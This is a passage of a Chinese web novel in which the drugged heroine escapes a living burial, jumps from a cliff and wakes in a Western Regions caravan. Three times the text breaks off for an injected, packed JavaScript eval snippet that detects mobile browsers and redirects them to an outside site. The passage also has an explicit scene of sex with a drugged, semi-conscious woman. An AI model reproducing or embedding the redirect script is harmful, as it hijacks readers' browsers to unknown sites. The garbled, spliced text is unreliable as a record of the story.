她真是疯了,居然会向沈绾求助,这个她最讨厌的人,曾经极尽羞辱的人,又怎会帮她? 步子刚要迈出门槛,忽听身后人悠悠道:“要拜师,怎么一点诚意也没有?” 48. 第四十八章 破阵子 窗外的枝芽愈发葱郁,日子在不知不觉中流逝,带来蒸腾暑意。 教坊司一向看中艺伎培养,凌娩因有几分舞艺,被司里着重关注,除了日常练习,每日晚间上台表演,倒免去不少陪客的时间。 不知是否因为代鄯的缘故,耶齐雷这段日子竟没了动静。 出奇的平静使沈绾心里愈发感到不安。 这日晚间,司里的客人比平日少了许多,一打听,原来是襄吉皇后停灵已满三七二十一日,耶齐格下令京中五品以上官员皆须入宫守灵,次日正式举办完祭礼后便迁回拓摩王庭的地宫安葬。 由于拓摩入主中原不足一年,皇后又突然离世,朝廷根本没来及修建皇陵地宫,有大臣建议直接在胤人陵寝的地基上改建下葬,可耶齐格终觉此举难以彰显他与襄吉皇后结发夫妻的情意,既然尚未有独属于拓摩的皇家地宫,那就暂且迁回王庭,待日后京都地宫修建完毕,再与耶齐格一同入葬。 此举一出,朝中百官无不感叹帝后伉俪情深。 “听说皇上哀恸万分,更是感念小皇子未出世就随母而去,特意下了道密旨……” “什么密旨?” 两名闲散官吏坐在教坊司一侧酒桌前,喝着闲酒,二人官职不高,入宫守灵的差事自然也没有排上。 “怎么,你不知道?”一人眯着双绿豆眼,压低声音道:“皇上思子心切,念及皇后母子入阴司无人照顾,昨日已将当初奉召入宫的那些个民间郎中一一赐死,就等着给皇后娘娘和小皇子殉葬呢。” 另一人倒抽了口凉气,咂舌道:“我记得那些民间郎中少说也有二三十人,难道一个都没……”说到这,不由哑了声。 “嗐,那可是圣旨,自然一个都跑不了,我听说,里面有一位还是丞相府的女医师呢,那些个尸首,还是魏公公亲自去验的。” “啪嗒……”身后忽有什么东西落地,两人回头一看,却不见什么人影,左右觑了一圈,又在乐伎的丝竹声中继续闲话下去。 沈绾捧着古琴匆匆回房,一张脸早已褪去一层血色。 方才那二人的话音不住在脑海中盘旋,她竭力平复下心绪,盘算着该如何和丞相府联系。 代鄯既然答应了会救三姐姐,她就一定不会出事! 什么尸首,什么殉葬,在一切没有得到证实前,她一定不能自乱阵脚。 她心中不住安慰自己,简单擦了擦手心冷汗,又偷偷包了袋银子,交给司里一名小厮,托他给丞相府传个话。 小厮知道她与丞相的关系非同一般,既收了银子,自然答应去办事。 沈绾在房中等了许久,直到后半夜,也没有等到消息。 窗外竹影憧憧,阵阵晚风携来几分舒适凉意,她坐在桌案前,单手支着脑袋,只觉眼前烛火明明灭灭,渐渐化成一团橘黄亮斑,悄然将意识湮没。 沈绾是在一阵剧烈的颠簸中醒来的,她像是躺在什么东西里,周围没有缝隙,更透不进一丝光亮,暗得令人窒息。 她伸手摸了摸,四周皆是坚硬木板,这个高度只能令人平躺却无法坐起,且左右两侧宽度有限,这样一个封闭空间,分明就像是……一口棺材。 额角又开始隐隐作痛。 这到底是什么地方?她记得自己明明还坐在教坊司的房间里,怎么会出现在这里? 曲起手肘揉了揉额角,身下一阵晃动,她脑中那阵刺痛又重了几分。 一切声音在黑暗中无限放大,隔着木板,她隐隐能听见辘辘的车辙声。 这是在……马车上? 举起手推了推头顶木板,却发现自己根本使不上一丝力气。 无边无尽的黑暗、恐惧、未知…… 这种感觉似曾相识,就好像亡国那日,她坐着囚车一路从胤都到拓摩军营,蔓延开来的无力和绝望,快将她整个人吞噬。 马车不知颠簸了多久,终于缓缓停下,恍惚中,沈绾感到木棺被人抬起,不久后又重重放下。长久的寂静后,上方的棺盖被人打开一条缝。 久违的光亮透进,有人往里瞥了眼,回头道:“这个醒了,再给她喂点。” 眼缝半张半合,映入眼帘的是一张陌生面孔,感到后脑被人抬起,不知对方给她灌了什么,残存的意识很快消散。 ** “喂,醒醒。”沙哑又熟悉的声音传入耳膜,有人拍了拍她的脸,那冰凉的指尖又湿又冷,很快唤起她的意识。 掀开沉沉眼帘,模糊的视线缓缓聚焦,眼前人的面容渐渐清晰起来,是张黝黑方圆的脸。 “阿青?!”沈绾羽睫颤动,迟钝的神经让后知后觉的讶异在眼底蔓延开。 她怎么会在这?这里难道是掖幽庭? “你怎么……”话未说完,阿青忙捂住她的嘴,用眼神示意不要出声。 沈绾定了定神,这才注意到自己似乎是在一处石洞里,空气又湿又冷,就在四周,竟整整齐齐排列着一具具木棺。 这些棺材一一排列开,延伸至洞穴深处,数不清到底有多少,可以确定的是,每口木棺大小规制都同她身下这具一样,像是早已被人刻意安排好。 “走。”阿青一把拉起她,沿着墙壁朝洞穴外走,刚迈出几步,忽听身旁一具木棺下传来砰砰声,像是有人在奋力拍打着棺盖。 “这是怎么回事?”沈绾低声开口,手心下意识握得更紧。 “快走。”阿青没有多管闲事的意思,拉着沈绾步子未停,可拍打声像一记记闷雷,敲得沈绾心头发闷。 “里面有人。”沈绾扯住阿青。 “这里面每具棺材都是人,”阿青淡淡解释,“你救不了她们。” 沉闷的撞击一声接着一声,沈绾终是停了步子,几步走到木棺前,想要推开棺盖,可这木棺到底是阴沉木,重得厉害,靠她一个人根本无法推动。 阿青无奈摇头,转回身从旁助推一把,厚重的棺盖这才堪堪被移开道缝。 “放我……放我出去……”棺里人见有人打开棺盖,立即像干涸的鱼儿骤然回到池塘,急促喘息:“你、你们是什么人?” “是你?”沈绾将棺盖又推开半扇,借着微弱暗光,蹙了蹙秀眉,“真是冤家路窄。” 凌娩双手撑着两侧坐起身,面露惊色,“这、这是怎么回事?” “皇后梓宫被送回王庭下葬,拓摩皇帝依照部落旧俗,命人殉葬,这里面每一口棺材都是陪葬者,从太监宫女到厨师乐伎,应有尽有。”阿青淡声解释,“你们,不过是其中一个。” 即便沈绾心里已经有了猜测,可这个回答仍旧让她吃了一惊,用活人殉葬,简直可怖! “那阿青你……” “拓摩人信奉?月神,这里是拓摩王庭的月神山,从山中延至地下皆有洞穴,是拓摩一族作为陵墓的地方。这里湿寒,久无人迹,所以就安排我们这些掖幽庭罪奴过来打扫。” “原来是这样,”沈绾点头,“那你是怎么发现我的?” 阿青瞥向木棺,“依照规矩,殉葬者在下葬前皆须保证活体,但为防止中途有人逃跑,就给每个人灌了迷魂散,每隔一段时间会有人检查棺中人状态,你第一次醒来的时候,我就发现了……” 凌娩脸色瞬间白了一层,“那、那我们现在怎么办?” 阿青将打开的棺盖重新推回原位,正色道:“现在是后半夜,这个空档守卫换班,我准备了一套女奴衣服,也许可以蒙混出去。” 说到这,探究的目光落在二人身上,“可现在,你们有两个人……” “我、我不想死在这……”凌娩攥紧衣袖,失神喃喃。 下一瞬,她突然意识到自己居然在沈绾面前示弱,眉头狠狠一皱,“算了,我可不会求你救我,也不会领你的情,你快走吧。” 她本就是那个弃子,当初在教坊司意外撞上沈绾,就已经使她深感受挫,现在又莫名其妙落到这个鬼地方,再让她摇尾乞怜求她相救,她实在开不了口,也无法开口。 沈绾默了默,眼下时间紧迫,又事关生死,她没有时间犹豫。 “我们走。”她迅速换上女奴衣服,转头对阿青道,步伐果断又利落。 石洞里小道曲曲折折,幸好阿青这两日在此打扫,已经摸清了路线,领着沈绾七拐八拐,终于走到一处洞口。 刚要迈出,几人窸窣的脚步声沿着石壁传来。 “木棺里人数都是清点好的,按理说一个都不能少。” “怕什么,这次葬仪由咱们王爷全权操办,要一名歌妓怎么了?下葬者这么多,到时候神不知鬼不觉。” “是是是,小的这就安排。不知王爷要的是哪一位?” “里洞三排东边第九个。” “是。” 说话声越来越近,沈绾和阿青紧贴身后石壁,一丝大气也不敢喘。 要是现在被人发现,恐怕只有死路一条! 阿青随即朝她做了个口型,“我去引开他们”,刚要动身,手腕蓦地被沈绾拽住。 沈绾暗暗摇头,示意她不要轻举妄动,嘴唇翕动几下,阿青瞬间会意。 “这里边怎么这么暗,你提灯,走前边。” “是。” 几人缓步往里走,忽地,一道人影匆匆往外跑,正巧撞上前面提灯的随从。 “什么人!”守卫立即提刀惊喝。 “大人饶命!奴婢是掖幽庭女奴,被派来做活的。” 手中灯笼往上提了提,眼前女子身形单薄,低垂着头,一身服饰的确是一路随行的女婢没错。 “慌慌张张跑什么?”走在后头的随从不耐烦道,“把头抬起来。” 沈绾紧了紧手心,畏畏缩缩半仰起头,她刻意弄乱了头发,遮住了半边面容,随从只随意觑了一眼。 “回、回大人,里、里面少了一个……”沈绾慌张咽了咽口水,身子不住发颤,抬手指了指身后。 随从立即警觉起来,一把扼住沈绾手腕,“什么少了一个?” “棺、棺材里少了一个……” 一行人如闻噩耗,拔起腿直往洞里跑,洞里木棺仍旧整齐停放着,可唯有一口—— 三排东边第九个,棺盖大开,里面人早已没了踪影。 “不好,是那个乐伎!”随从顿时脸色煞白,王爷点名要的人,居然给弄丢了! 抬手掐住沈绾脖颈,“说,人是怎么没的?” 沈绾夸张地龇牙咧嘴,胆怯道:“明、明日就是下葬仪式,奴、奴婢晚间奉命过来清理 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 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“说来你可能不信,是这里一个告老还乡的军医给我的。”阿青确定好路线,重又将地图揣进怀里,“他说用活人殉葬只是北疆一带极为古老的习俗,这些年因为压迫和战乱,已经许多年没有延续,他对这种违反天道的习俗深恶痛绝。后来不知怎的,他发现我有救人的打算,就偷偷将这条密道告诉了我。” “没想到这帮畜生里还有这种怪人,”凌娩半信半疑,“那个老军医的话,可信吗?” “现在你还有别的选择吗?”沈绾不留情面回怼,起身拍拍身上尘土,迟疑转向阿青:“阿青,其实你不用为我冒这个险,撇开我,你也许还能活命。” 阿青摇头,“你救过我妹妹,也帮过我,这个恩情我是一定要报的。再说依照拓摩人杀人不眨的脾性,我们这些出自掖幽庭的人,怕是最终也回不了京都了。” 沈绾思虑片刻后,点头,“好,我们就按图上路线走,这也许是我们唯一的机会了。” “那我……”凌娩欲言又止,见二人起身要走,嘴巴张合几下,终是什么都没说。 “还磨蹭什么呢?”沈绾刚走几步,见身后人没跟上,无奈回头道,“你是腿断了,还是脚折了?” 凌娩强绷着脸,“你们走你们的,我又没让你救我。” “都这个时候了,还嘴硬。”沈绾强势扯过凌娩胳膊,一把将人拉起,“方才是情况紧急,逃出洞未必能成功脱险,现在咱们有了地图,只要他们一时半会发现不了我们,找到密道咱们就都能出去。平日看着挺机灵,关键时刻怎么又臭又硬?” 沈绾边走边说,像是在解释,又像是故意蛐蛐,凌娩还没来得及辩驳,便被沈绾一路拖拽,“哎,慢点,我自己会走……” 地宫虽然曲曲折折,但依照地图,三人很快找到终点。 转动一处地砖,一口六尺见宽的水池豁然出现在眼底。 “这里就是出水孔,从这里往下潜,会有一处石洞口,游过那里,便能到月湖。”阿青犹豫道,“刚开始没选择这条路,就是不知道你们会不会凫水。我打小在水边长大,自是不怕,可这里面水深数尺,你们若是……” “我、我不会凫水……”凌娩低头嗫嚅,下意识后退几步。 “没有选择的余地了,”沈绾扫了她一眼,“难道你想被抓回去成为真正的陪葬品?” “我……”凌娩手心不断扯着袖口,刚要开口,忽然听到一阵急促的脚步声。 那声音整齐又带着极强的压迫感,一步步伴着金属摩擦声,沉沉向前逼近。 “不好,有人追来了。”沈绾眸中闪过惊色,朝凌娩道:“深吸口气。” “什么?”凌娩虽疑惑,但还是忙听话照做,下一瞬,背后传来一股强烈的推背感,冰凉的池水漫过四肢,瞬间将她淹没。 “阿青,你快下去,她不会水,必要时麻烦给她渡口气。” “好。”只听扑通一声,阿青姿势熟练跳入水中。 沈绾望着深不见底的池水,强按下心中恐惧,她幼时曾落过水,心中难免落下阴影。 可此刻已经没有回头的余地,即便落水淹死,也好过被耶齐雷抓去。 深深吸了口气,正欲纵身而下,一支羽箭自背后穿过,蓦然穿透肩胛,剧烈的痛意顷刻卸下她所有力气。 49. 第四十九章 魂梦同 热,难言的燥热从身体深处滋长迸发,却在下一瞬,被痛意掩盖。 沈绾睁开迷蒙的眼,陌生的异族毡房里烛光昏黄,混合着蒸腾水雾,让人如坠梦境。 “你们两个,把她清洗干净,”一人身着暗袍,用拓摩语对两名异族侍女吩咐道,“主子在帐里等着,记得动作快点。” “是。”两名侍女应道。 对方转身之际,沈绾瞥见他的侧脸。 原来是他——那晚在内狱把自己带走之人。 看来,她这是又落到耶齐雷手里了。 脑袋开始昏昏沉沉,可好在肩胛处的痛意清晰明冽,不断唤醒她的意识。 帐帘落下,两名侍女一左一右将她扶起,正要解开身上衣物之际,忽听帐外传来一声惊呼:“走水了!” 这里是地宫陵寝,一旦失了火非同小可,顿时脚步声、惊号声、责令声响成一片。 两名侍女对视一眼,正打算出去查看情况,没想到刚欲转身,肩后忽然重重落下一击。 见二人昏倒在地,沈绾这才看清身后现出的两人,“是你们?!” “怎么,没想到我们会回来救你?”凌娩晃了晃手中木棍,下巴轻扬,“我早就说过,我可不会欠你的情。” “废话少说,”阿青冷冷打断,“门口那两个守卫只是暂时中了迷魂散,说不定很快就会醒,现在外面乱作一团,我们得赶快走。” “好。”沈绾咬牙撑起身,肩上痛意疼得她冷汗直冒。 阿青和凌娩见状,一左一右上前搀扶。 她们这把火放得不小,一时吸引了大半兵力,三人趁着夜色和人群骚乱,很快溜出监控范围。 月神山四周皆是林子,到了晚间,那些枝桠藤蔓犹如鬼魅爪牙,一一从眼前划过,稍有不慎,便在脸颊手肘留下洇洇血痕。 “我们这是往哪里跑?”凌娩气喘吁吁,随手拂开眼前枝条。 阿青道:“沿着这片林子一路往西,应该就能出拓摩地界。” 三人一路未停,可山路崎岖,加上夜间难以视物,更是走得艰难。 “哎——”沈绾脚下忽一踉跄,幸好阿青眼疾手快将她扶住,才堪堪没有跌倒。 “要不要歇歇?”透过晦暗夜色,阿青瞧见沈绾眉头紧蹙,满头冷汗,像是在极力忍耐着什么。 方才她就发现她的伤口在往外渗血,现在一路疾跑,定是又扯到了伤口。 沈绾摇头,声音坚定:“没时间耽搁了,快走。” 话音刚落,只听身后传来一阵急促的马蹄声,阿青夜间视力极好,即便隔着一段距离,还是清楚看见那簇簇火光。 “不好,他们追来了!” 三人不敢耽搁,恨不得脚下立即生风,逃出这鬼地方。可她们到底是姑娘家,体力有限,身后马蹄犹如催命鼓点,仿佛踩在心脏上。 眼看火光越来越近,阿青当机立断,“我去引开他们。” “不行,”沈绾忍痛抬起手,扯住她的衣袖,“阿青,我们一起走。” “再这样下去,我们一个都逃不掉。”阿青决然掰开沈绾手掌,眼底是前所未有的冷静,“听我说,你们沿着这条路一直往前,千万别回头。那伙人要抓的是你,不一定会把我怎么样。” 阿青抹了把脸,“如果不是你,我妹妹阿玉不会被接出掖幽庭,更不会接受治疗得以痊愈,你是我们姐妹的恩人。”说着,将怀中地图取出塞给沈绾,“如果能顺利逃出去,记得帮我照顾好阿玉,告诉她,姐姐会一直想她。” “阿青——”沈绾低呼,竭力想要拦她,可阿青动作果决,头也不回往反方向跑,不多时,她消失的方向亮起火光,那些骑兵很快被吸引过去。 “走!”凌娩只迟疑片刻,便扯住沈绾胳膊,蒙头继续往前。 脚下是嶙峋山石,耳畔是寒凉夜风,她们穿行在墨色里,奔向未知。 不知跑了多久,沈绾感到嗓子眼像刀片割过,急遽跳动的心脏简直快要从喉咙里跳出来。 眼前视野渐渐开阔,树木渐稀,一切都在昭示她们好像已经出了林子。 紧绷的神经刚有一丝劫后余生的喜悦,侧方的铁蹄和嘈杂人声瞬间湮灭希望的火焰。 耶齐雷居然派人从侧前方包抄,摆明了要斩断她们的所有退路! 二人脚步未停,既然出了林子,四面八方皆是路,可没跑多远,眼前的景象倏尔让她们刹住步子。 浓浓的夜雾之下,前方竟是深不见底的悬崖! 原本只是微亮的火把随着马蹄逼近越发刺目,忽有人高呼:“她们在那里!快追!” 凌娩攥紧沈绾,半边身子快要被恐惧逼僵,“怎么办?前面没路了……” “不见得。”沈绾望向身后,一双冷凝的眼此刻竟没了惧意,“怕吗?” 凌娩立即意会到她的意思,瞳孔微张,“你是要……” “现在后悔还来得及,把我交出去,请求拓摩人放你一条生路,再或者,留你个全尸。” 沈绾面容无波无澜,静静望向崖底深渊,似乎在等凌娩做最后的决定。 “你父亲的死,我父皇有不可推卸的责任,你落到今天的境遇也多少与我有关,是我们皇室对不起你,所以今天,我的命交给你,你来决定。” 乌云放出月亮,洒下皎洁华光,沈绾的面容在月色里越发孤寂,山风搅乱她鬓间发丝,更吹得凌娩怔然无措。 “沈绾,你还真是令人讨厌。”凌娩叹了口气,深深望向她淡然的眼,吸了吸鼻子,“别以为只有你一个人有骨气。我爹爹可是威震八方的英国公,一生守疆土、护百姓,他的女儿自然不会丢他的脸! 这种时候要我再向拓摩人低头,做梦!” “快,抓住她们!”铁骑的怒喝声近在咫尺。 “想不到,最后会和你死在一起。”沈绾轻声道。 凌娩:“那是我运气差。” 沈绾忽而释然一笑,“那下辈子,别再遇见了。” “快,抓活的!”身后士兵大喝,跳下马一拥而上,可就在下一瞬,崖边二人果决纵身一跃,没入足以吞噬一切的深渊。 ** 如果说死亡就是冰和火的交织,那沈绾早已深刻领会,身入其中。 湿冷的身子被不知名的火源烘干,温暖热意包裹全身,重又激起潜伏在骨子里那股难以言说的燥热。 身体深处的空虚寸寸蚕食意识,一股又一股热浪翻涌而来,快要将她从里到外蒸腾摧干。 辗转挣扎间,指尖蓦然触到一处冰凉,清冽干净的气息徐徐萦绕,熟悉又梦幻,如同一快沁凉温润的寒水玉,让人不自觉想要靠近。 她热得厉害,身上只着一件纱衣,动作勾缠间,露出雪腻香肩,轻如薄翼的香纱因沾上湿汗,勾勒出迷人腰线。 芙蓉帐下,莹白的皮肤泛起一层异样潮红,妩媚惑人,可偏的那张脸生得清雅纯洁,两种极致的美此刻凝结她身上,宛如月宫仙子不慎落入凡尘,化作夺人心魄的女妖精,一举一动皆是勾人心神。 身下的男人沉默乖顺,任由她在身上作乱,狭长眼尾赤红一片,唯有粗沉呼吸打在耳侧,透出一丝暧昧和危险。 可沈绾此刻顾不得许多,只觉自己必须抓住这具清凉身体,肌肤每相贴一寸,便能缓解她体内一寸燥意。 四肢宛如藤蔓,不管不顾攀沿纠缠,可是贴得越紧,身体想要的就越多。 “知道我是谁吗?”男人声音喑哑,抬手钳住她在他颈侧作乱的下巴。 沈绾晃了晃脑袋,可混沌的意识根本无法看清对方面容,只觉那股温凉要推开自己,秀眉轻蹙,合眸娇嗔:“我要……” 玉臂缠上 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16190542|171998||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 男人脖颈,原本微白的唇瓣也因这股热浪恢复血色,红如粉樱的香唇凑在男人耳垂,试探亲了亲。 似是感到身下男人微微颤了颤,她作弄似的伸出半截小舌,蜻蜓点水般舔了一口,忽觉男人呼吸一顿,连身子都不由僵了片刻。 沈绾感到好玩,唇角一翘,竟张开小口,含住那早已血红欲滴的耳垂,裹入口中吮舔玩咬。 男人掌下被褥早已皱成一团,可身上女人犹嫌不够,整个人坐在他劲瘦的腰腹,倾身相贴,小手扒开胸前衣襟,肆意抚摸清健精实的薄肌。 “啊……”男人唇边溢出一声低喘,又沉又醇,大掌随后抚过后颈,将女人小脸抬起,“喜欢这样?” 男人声音喑哑,却极具磁性,听的人愈发痴迷。 沈绾凝着汗珠的鼻尖一皱,双手捧住眼前人的脸,想要看清却又看不清,额头相抵,用鼻尖蹭了蹭他的。 这般亲昵的举动很快取悦了男人,薄唇轻勾,扶住盈盈一握的腰肢将人往上一提,长腿随即屈起,抵住她的后脊,骨节分明的手以极度掌控的姿势将人圈在怀里。 沈绾被体内的火烧得神志不清,嘴里耐不住哼唧,“好热,帮我……” 微凉的唇瓣堵住樱唇,截断她的不满,雪山青松的冷冽气息层层包裹,顷刻掠去她的呼吸。 不多会,相贴的唇角边已是水亮一片,男人捏住她的后颈,向下吻过下巴、后颈、锁骨,直到肩胛处的伤口。 “还疼吗?”他极为小心克制地吻上去,晦暗的眸底是难以掩饰的怜惜与心疼。 沈绾下意识摇头,伤口早已感觉不到疼痛,在遇见他的第一刻,男人就已经给她上了药,此刻折磨她的不是伤口,而是澎湃翻腾的情/欲。 察觉到男人动作放缓,沈绾檀口轻启,俯下身软磨硬蹭,终于找到清冽温凉的唇。 她像小兽进食般贪恋急切,却远没有男人娴熟的技巧,只得凭着本能吮咬唇肉,可再青涩的小兽总忘记自己有锋利的牙齿,男人忽地轻皱了下眉头,铁锈般的腥味旋即在口中漫开。 “嘶——”男人舔了舔泛红的唇角,轻笑,“恩将仇报?” 可是沈绾哪里听得进去,小脑袋凑过来还要亲,男人被她无赖的举动气笑,一把捏住她的小脸,“拿我做解药,你拿什么来换?” 沈绾哼了两声,“我……”迷茫的眼神早已失了焦。 “好,”男人狡猾一笑,“这可是你说的,我今日帮你,你拿自己来换。” 身下早已躁郁难耐,炙暗的眼底像是燃了团火,“你可要记得,今日是你对我用强的,以后要对我负责。” 低哑的声音贴在耳边,私语呢喃,像是要把这些话刻进她的心底。 身上早已凌乱的墨色外袍被解开,悄然滑落床榻,女子肩头的纱衣不知何时滑落到腰际,层层叠叠的水红裙摆犹如绽放的牡丹,完美遮住身下男人腰腹。 沈绾随着男人的节奏,感觉整个世界都在摇晃,可却没来由安心。 仿佛在风浪中漂泊无依的小船终于停泊靠岸,那种由来已久的安全感能抚平她心底所有不安。 香汗很快浸湿脊背,不知过了多久,这场风雨终于停歇,沈绾懒懒靠在男人胸膛,娇喘微微,耳边也传来一声餍足叹息。 “这次先放过你……“男人呼出口浊气,贴在耳廓,“下次,我可要连本带息讨回来。” 将弄脏的衣裙清理干净,转头看见晶亮的汗珠滑过玉肩,眼底一热,俯身亲了亲,极尽缱绻痴缠,云霁初散眸底亮如星子,里面是盛不住的温柔爱恋。 沈绾被这么一“折腾”,耗去不少力气,很快被倦意掩盖。 藏在被子里的脸颊越发清减,无不昭示着这些日子以来的辛楚,男人看在眼里,心头一钝,良久,俯身在额头印下一吻。 “阿鸾,等我……” 50. 第五十章 永遇乐 沈绾睡得朦胧,半梦半醒间,窗外的谈话恍恍惚惚飘进耳间。 “她体内的药厉害的很,药性是普通春/药的三倍,这解药也不能立即见效……” 男人打断对方,“那就再给她多喂些,银子照付。” “怎么,难道你们没……”对方笑着调侃,“你这莫不是中原人口中的‘君子之风’,既然是爱恋的姑娘,怎么还能忍住?鱼水之欢总比这苦东西见效快。” “你照做就是。”男人冷声吩咐,“你们的药我信得过。” …… 后面的话渐渐变得模糊,沈绾仿佛又陷入一场很长的梦境,梦中她仍旧是胤宫里那个无忧无虑的小帝姬,春赏百花,夏听蝉鸣,秋沐静雨,冬烹香茶。 父皇的身子仍旧健朗,三姐姐的眼睛也有了亮光,那个总是沉默寡言的少年也总是站在她一回头就能看见的角落,等她唤一声“阿翊……” 可晴暖的阳光说变就变,铅灰风云席天卷地,所有人的面容瞬间变得扭曲,化作一团黑影,步步将她逼至崖边,一张张狰狞的脸在黑雾里时隐时现。 父皇的头颅在风中摇晃,“大胤灾星”“亡国罪人”的骂声纷至袭来,一点点击溃她的心防。 “不是,我不是……” 细密的汗珠渗出,她死死攥紧被角,猛地睁眼,花纹繁复的帐顶倏然印入眼底。 思绪停滞少顷,她方才回过神,身上不知何时已被换上一套干净舒适的寝衣,举目环视四周,竟发现这是个异族屋帐。只是这里的摆设风格完全不同于拓摩的粗犷,反而添了几分精致和奢华。 下一瞬,门口帐帘被人拉开,一个皮肤黝黑,头顶灰棕色卷毛的少年捧着药碗走进来,见沈绾醒了,黑葡萄般的眼睛一亮,手舞足蹈比划着,可他说着晦涩的异族语,沈绾一句也听不懂。 “阿连鲁,收敛点。”一个身形矮胖的男人走了进来,那少年见状立马噤了声。 “姑娘,你好点没有?”男人开口就是标准的中原话,若不是他那深邃的五官和一身贵气的异族袍子,她简直会以为他是个地地道道的中原人。 沈绾搞不清眼下到底是什么情况,身子往后缩了缩,目露警惕:“你们是什么人?这是哪里?” 胖男人亲和一笑:“我们这里是运贩药材的商队,我是这支队伍的老板——古伊顿,你也可以叫我古老板。” “商队?”沈绾犹疑,“是你们救了我?” “是阿连鲁,”古老板指了指少年,“他在雾月湖边发现了你,幸好那处山崖有爬山藤作缓冲,不然你这条命是救不回来的。” 雾月湖?跳崖前的记忆席卷而来,沈绾直起身,“这里不是拓摩领地?” “哈哈哈……”古老板爽朗一笑,“这是西桓领地,也就是你们中原人口中的西域。我们可是常年跟你们中原打交道,药材、香料、茶马,可都在我们的经营范围。” “那你们有没有看见另一位姑娘,她应当和我在一起的。” “没有,我们发现你的时候,你被湖水冲到了岸边,那时候就你一个人。”古老板解释,“雾月湖方圆二十里,每到晚间起雾都会水流湍急,你的那位朋友也许被湖水冲到其他地方也说不定。” 沈绾若有所思,一旁的少年却掩不住热情心性,将药碗递到沈绾面前,嘴里嘟囔着奇怪的音节。 古老板哈哈一笑:“阿连鲁很关心你,让你趁热喝药。” 沈绾敛了神思,颇为不好意思从少年手中接过药碗,黑褐色的药汁倒映出她略显憔悴的面容,她蓦地想起那个绯丽旖旎的梦。 一口将药汁饮尽,沈绾擦了擦嘴角,却见卷毛少年神采奕奕盯着自己,窗外的阳光洒在他棕色头发上,像是镀上了一层金粉。 “谢谢。”沈绾柔声道谢,少年接过空空的药碗,欢喜地咧开嘴角,双手又比划着什么。 “阿连鲁说,你安心在这养病,他会照顾好你。”古老板笑着翻译。 “这怎么敢当,我……”沈绾翻了翻身上,发现除了手腕上那枚紫金镯子,再没有什么值钱的东西。 古老板看出她的窘迫,含笑解释:“我们西桓人虽然爱做生意,可也不是锱铢必较、见钱眼开的主,你们中原人所说的‘道义’二字,我们还是明白的。我与姑娘有缘,不需要姑娘报答什么。” “古老板古道热肠,但愿将来有机会能报答你。”沈绾心中感激,颔首道谢。 “有件事……”沈绾抿了抿唇,不确定道,“你们真的只发现了我一个人?没有别人?或者拓摩人?” “姑娘想问什么?”古老板端着张憨厚的脸,静待下文。 “我……”回想起梦中那道熟悉到入骨的声音,沈绾又觉得不可思议,那个人会是他吗?他不是已经…… 如果他还活着,为什么不来见她? 咬了咬唇,“罢了,没什么。” 古老板见她欲言又止,安慰道:“姑娘昏迷的时间太久,有些事一定记糊涂了,说不定把梦中发生的事情当成现实。我们商队刚驻扎在这里不久,这几日就只遇见你一位生人。” “是吗……”得到古老板肯定的回答,沈绾有些怅然若失,也许,那真的只是个梦而已。 ** 沈绾歇了两日,直到能够下床,找机会又去了趟湖边。 不知是否因为这几夜总是下雨,湖边竟被冲刷地没有一丝痕迹,凌娩当晚和自己一起坠崖,如果真的被水流冲走,一时半会真的是无迹可寻。 沈绾找了两趟,一无所获。 又过了两日,整个商队便要启程,他们本就是意外路过这里,整顿几日便要前往下个站点,沈绾身子尚未痊愈,古老板放心不下,又得知她无路可去,遂带她一起上路。 驼铃叮当,商队一路驶过戈壁沙漠,驶过皑皑雪山,终于抵达一处绿洲。沈绾远没有想到,北疆的风景如此多变,既有一路的瑰丽壮观,也有眼下的无垠秀美。 这日天气晴好,绵绵绿草与蓝天相接,眼前的广袤辽阔是京都难以得见的美景,沈绾刚掀开帘帐,热情洋溢的少年露出洁白的小虎牙,守在帐前。 初夏的阳光落在他黝黑的脸庞,由汗珠反射出点点晶莹。 沈绾莞尔一笑:“你在这做什么?” 少年眼中闪过一丝羞涩,献宝似的从身后捧出一束,那艳丽如火焰的花朵赫然出现在眼底。 “送、给、你。”少年一字一顿,艰难发出汉字音节,不过三个字,他学了好久。 “给我的?”沈绾接过花束,清亮的眼睛露出惊喜,“谢谢。” 她眉眼 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16204345|171998||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 弯弯,一张俏脸这两日恢复了血气,看着竟比怀中花束更加美丽。 见沈绾笑着道谢,少年不由红了耳尖,挠了挠头,傻傻站在原地。 沈绾:“来了这么多天,陪我出去走走?” 见少年不解自己的意思,沈绾用手势比划半天,对方也不知懂了没有,只憨憨点头。 西桓部落驻扎的这片草原一望无际,沈绾沿着小坡一路走着,少年就这么乖乖跟在身后,遇到有水洼的地方,他就二话不说把人背起来,不让她碰一点泥泞。 一举一动,像极了当年的小影卫。 少年个高体健,可一张脸仍是稚气未脱,听古老板说,少年只有十五岁,算起来她还是姐姐,这样麻烦一位弟弟,沈绾倒感到不好意思。 刚打算半路折回,忽见一处驼队遥遥朝这边走来。 这支队伍的人数远比古伊顿的队伍要多,运输的货箱也大了许多。不多时,队伍中下来一位裹着白巾的人,看服饰装扮,应当是个商队头领。 古伊顿得了哨卫通知,上前招呼。 